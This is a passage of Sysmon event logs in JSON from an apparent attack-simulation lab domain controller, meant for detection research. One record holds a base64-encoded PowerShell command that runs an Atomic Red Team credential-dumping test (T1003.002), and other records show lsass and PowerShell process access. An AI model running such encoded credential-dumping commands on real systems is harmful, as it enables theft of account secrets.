C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.009","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5257,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.009\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nTargetProcessId: 4384\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.009","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","TargetProcessId":"4384","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5258,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.342\r\nProcessGuid: {90617006-416F-5F2D-0000-001085400800}\r\nProcessId: 2380\r\nImage: C:\\Windows\\System32\\HOSTNAME.EXE\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Hostname APP\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: hostname.exe\r\nCommandLine: \"C:\\Windows\\system32\\HOSTNAME.EXE\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nParentProcessId: 4384\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.342","ProcessGuid":"{90617006-416F-5F2D-0000-001085400800}","Image":"C:\\Windows\\System32\\HOSTNAME.EXE","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Hostname APP","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"hostname.exe","CommandLine":"\"C:\\Windows\\system32\\HOSTNAME.EXE\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E","ParentProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","ParentProcessId":"4384","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5259,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-416F-5F2D-0000-001085400800}\r\nTargetProcessId: 2380\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9e2ee2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be846a0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be8423c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-416F-5F2D-0000-001085400800}","TargetProcessId":"2380","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9e2ee2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be846a0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be8423c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5260,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416F-5F2D-0000-001085400800}\r\nTargetProcessId: 2380\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416F-5F2D-0000-001085400800}","TargetProcessId":"2380","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5261,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5262,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 